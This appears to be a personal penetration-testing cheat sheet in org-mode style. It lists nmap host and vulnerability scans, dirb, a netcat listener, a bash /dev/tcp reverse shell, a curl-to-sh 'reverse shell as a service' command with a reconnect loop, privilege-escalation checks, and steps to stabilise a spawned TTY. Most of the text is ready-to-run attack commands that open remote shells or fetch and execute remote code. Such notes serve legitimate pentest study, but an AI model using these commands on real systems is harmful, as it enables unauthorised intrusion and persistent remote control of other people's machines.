1.  to install:

    -   magic wormhole

### nmap

for quick scan of available ips 

    nmap -sn ip/24

to filter output for open ips 

    nmap -sn 192.168.1.0/24 | grep "for " | awk '{print $5}' > ips.txt

scan open ports:

    nmap -sCV -A -p $(nmap 192.168.1.155 -p- | grep open | awk -F '/' '{print $1}' | tr '\n' ',' | sed 's/.$//') 192.168.1.155

### dirb

    dirb http://ip

1.  bei windows

        nmap --vuln ip  
    
    1.  bei windows \\+ smb
    
            nmap --script smb-vuln* ip

### start listener:

    rlwrap -cAr nc -nlvp 9002


<a id="org147daab"></a>

### reverse shell bash:

    /bin/bash -i >& /dev/tcp/192.168.1.157/9002 0>&1


<a id="org32886e3"></a>

### reverse shell file:

### untested:

Reverse Shell as a Service

1.  On your machine:

    nc -l 1337
    or nlvp?

1.  On the target machine:

    curl https://reverse-shell.sh/yourip:1337 | sh

1.  reconnecting:

        while true; do curl https://reverse-shell.sh/yourip:1337 | sh; done

# privilege escalation


<a id="org0b25bb0"></a>

## always run these:

    sudo -l

if sudo doesn&rsquo;t work: 
[3.2](#org4152682)

1.  check cronjobs

        ls /etc/cron.*
        crontab -l

## TTY Spawn Shell

1.  if sudo still doesn&rsquo;t work

    use
    
        sudo -S command
    
    Often during pen tests you may obtain a shell without having tty, yet wish to interact further with the system. Here are some commands which will allow you to spawn a tty shell. Obviously some of this will depend on the system environment and installed packages.

### Python spawn shell

    python -c 'import pty; pty.spawn("/bin/bash")'

Fully Interactive TTY

1.  All the steps to stabilize your shell

    ****The first step:****
    
        python3 -c 'import pty;pty.spawn("/bin/bash")'
    
    Which uses Python to spawn a better-featured bash shell. At this point, our shell will look a bit prettier, but we still won’t be able to use tab autocomplete or the arrow keys.
    
    ****Step two is:****
    
        export TERM=xterm
    
    This will give us access to term commands such as clear.
    
    ****Finally (and most importantly) we will background the shell using****
    
        Ctrl + Z
    
    Back in our own terminal we use
    
        stty raw -echo; fg
    
    This does two things: first, it turns off our own terminal echo which gives us access to tab autocompletes, the arrow keys, and Ctrl + C to kill processes
